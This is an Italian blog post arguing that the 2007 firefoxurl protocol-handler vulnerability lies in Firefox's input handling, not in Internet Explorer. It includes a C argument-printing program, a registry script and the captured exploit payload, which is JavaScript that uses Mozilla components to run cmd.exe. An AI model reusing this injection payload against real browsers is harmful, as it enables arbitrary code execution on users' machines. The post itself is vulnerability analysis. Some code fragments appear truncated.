Quand'ero bambino, avevo imparato un proverbio che penso sia ancora importante tenere ben presente: Coloro che vivono in una casa di vetro non dovrebbero gettare pietre.
I bravi ragazzi di Mozilla potrebbero cercare di capirne il vero significato. Due giorni fa, Mozilla ha pubblicato Firefox 2.0.0.5 per correggere una vulnerabilità di sicurezza derivante dall'interazione tra Firefox e Internet Explorer (IE). Per farla breve, se un utente con Firefox installato utilizza Internet Explorer per navigare su un sito web malitenzionato, quel sito può sfruttare IE per avviare Firefox sul computer dell'utente. Firefox, a sua volta, non verifica i dati in ingresso ricevuti da IE e potrebbe eseguire del codice pericoloso, a discrezione del malintenzionato. Tutto questo è particolarmente importante per i criminali perché, in Windows Vista, per impostazione predefinita IE si attiva in modalità protetta, fornendo un livello di protezione dal codice maligno proveniente dal web. Firefox non ha questa protezione ed esegue le istruzioni utilizzando i pieni privilegi dell'utente connesso al momento.
In concomitanza con la patch, la responsabile della Sicurezza-e-non-so-cos'altro di Mozilla, Window Snyder, ha scritto un post sul proprio blog in cui si afferma che "Questa patch impedisce a Firefox di accettare dati errati da Internet Explorer. Non corregge la grave vulnerabilità presente in Internet Explorer. Microsoft deve risolvere il problema in Internet Explorer". Nel frattempo, il team di sviluppo di IE ha dichiarato che non intende risolvere quello che viene visto un problema di Mozilla.
Bene Window, quelli che vivono in una casa di vetro non dovrebbero gettare pietre. Diamo un'occhiata al problema, ti va?
La tesi di Window è che si tratti di una grave vulnerabilità facendo affidamento alla RFC 3986, la quale definisce la sintassi standard degli Uniform Resource Identifier (URI). La sezione 2 di quella RFC stabilisce che un URI consiste di un insieme limitato di caratteri, principalmente numeri, lettere e alcuni caratteri non alfanumerici. E viene stabilito che gli altri caratteri siano codificati usando la codifica del percento. Più specificatamente: "l'unico caso in cui gli ottetti all'interno di un URI sono codificati in percentuale avviene durante il processo di produzione dell'URI dalle sue parti componenti (RFC 3986, sezione 2.4). Coloro che sostengono che la colpa nel passare l'URI a Firefox sia di Microsoft evidentemente affermano questo per dire che IE dovrebbe codificare l'URI prima di passarlo al protocol handler. Personalmente, non riesco a vedere come la presa in carico di un collegamento a una pagina e il passaggio all'handler che gestirà quel collegamento costituisca "una produzione dell'URI dalle sue parti componenti" però mi potrebbe sfuggire qualcosa. Credo che l'affermazione sulla codifica percentuale si applichi al malintenzionato che ha costruito l'URI in origine, e l'applicazione che per l'ultima la esegue. Questo è il ragionamento che sta dietro la mia affermazione secondo cui la vulnerabilità è nel protocol handler e cioè, in questo caso, Firefox.
Tuttavia, facciamo finta di prendere per buone le ragioni di Mozilla e che la colpa sia davvero di IE. Window continua a ripetere che si tratta di un problema grave che colpisce anche altre applicazioni. Infatti, fa riferimento ad un diverso articolo che dimostra come eseguire del codice illegale in Trillian utilizzando questa vulnerabilità di IE. Thor Larholm aggiunge un elenco di altri protocol handler, ai quali è possibile passare altri argomenti illegali a linea di comando, anche se questo è un puro elenco di protocol handler, non un elenco di quelli vulnerabili. Window conclude il post con la solita frase: "Mozilla consiglia di utilizzare Firefox per navigare nel web per impedire ai malintenzionati di sfruttare questa vulnerabilità di Internet Explorer".
Sarebbe un consiglio saggio se solo:
- Si trattasse veramente di una vulnerabilità di IE e non la mancata verifica dei dati in ingresso da parte di Firefox e Trillian e
- Mozilla fosse davvero più sicuro
#include
{
// The URL is in argv
printf("\nThere are %d arguments in the URL\n", argc);
for(int i=0;i
{
printf("\nArgument %d:\t%s",i,argv[ i ]);
}
printf("\n"); char c; c = getc(stdin);
}
Questo programma ci permette di analizzare ciò che riceve il browser che chiama il protocol handler. In altre parole, ci permette di vedere esattamente quello che Firefox e Trillian vedono quando sono invocati da un browser, utilizzando il rispettivo protocollo. L'URL che è passato dal browser all'handler è trasferito come argomento a linea di comando (si tratta del parametro argv, nel caso siate un po' arrugginiti in C). Il programma elenca semplicemente tutti gli argomenti a linea di comando e li stampa. Per farlo, ha bisogno di essere registrato e lo possiamo fare con un reg script del tipo:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\TestURL]
@=URL:Test Protocol
"URL Protocol"=""
[HKEY_CLASSES_ROOT\TestURL\DefaultIcon]
@="cmd.exe"
[HKEY_CLASSES_ROOT\TestURL\shell]
[HKEY_CLASSES_ROOT\TestURL\shell\open]
[HKEY_CLASSES_ROOT\TestURL\shell\open\command]
@="\"c:\\test.exe\" \"%1\""
<iframe src='firefoxurl://larholm.com"...
Nella mia versione modificata si legge:<iframe src='testurl://larholm.com"...
Per provarlo, ho aperto l'exploit utilizzando IE su un sistema Windows Vista completamente aggiornato. IE, su Vista, vi avviserà se volete aprire oppure no il programma esterno e, se lo fate, comparirà questo output:
Argument 1: testurl://larholm.com
Argument 2: -chrome
Argument 3: BLOCKED SCRIPTC=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true,['/k echo hello from larholm.com'],1 );alert(process)
Ora, cosa pensate che accada quando lanciate lo stesso exploit utilizzando Firefox? Innanzitutto, vi comparirà un inquietante avviso:
Argument 1: testurl://larholm.com
Argument 2: -chrome
Argument 3: BLOCKED SCRIPTC=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true,['/k%20echo%20hello%20from%20larholm .com'],1);alert(process)
Riuscite a vedere ora la casa di vetro? Per parafrasare Window: "Questa patch per Firefox... non risolve la grave vulnerabilità di Firefox".
E' così. Seguendo la logica di Mozilla e di Thor Larholm, Firefox è soggetto alla stessa identica vulnerabilità per cui si dà la colpa a IE! Firefox inoltre non evita le virgolette presenti negli URL prima che vengano passati al protocol handler. Non mi dilungherò qui sul fatto che non siano riusciti a risolvere quella vulnerabilità nella nuova versione di Firefox appena pubblicata.
Ora, normalmente non divulgherei i dettagli di un exploit senza prima informare il produttore e dargli una ragionevole possibilità di risolverlo. Tuttavia, ho sostenuto da sempre che la vulnerabilità sta nel protocol handler che non verifica i propri dati in ingresso e non considero questa particolare questione come una vulnerabilità di Firefox. Perciò non credo di poter essere accusato di divulgazione irresponsabile facendo sapere alla gente che anche Firefox non protegge gli utenti di Trillian dalle vulnerabilità di Trillian. Non farei mai una cosa simile e sono sicuro che Window sarebbe d'accordo con me.
Nessun commento:
Posta un commento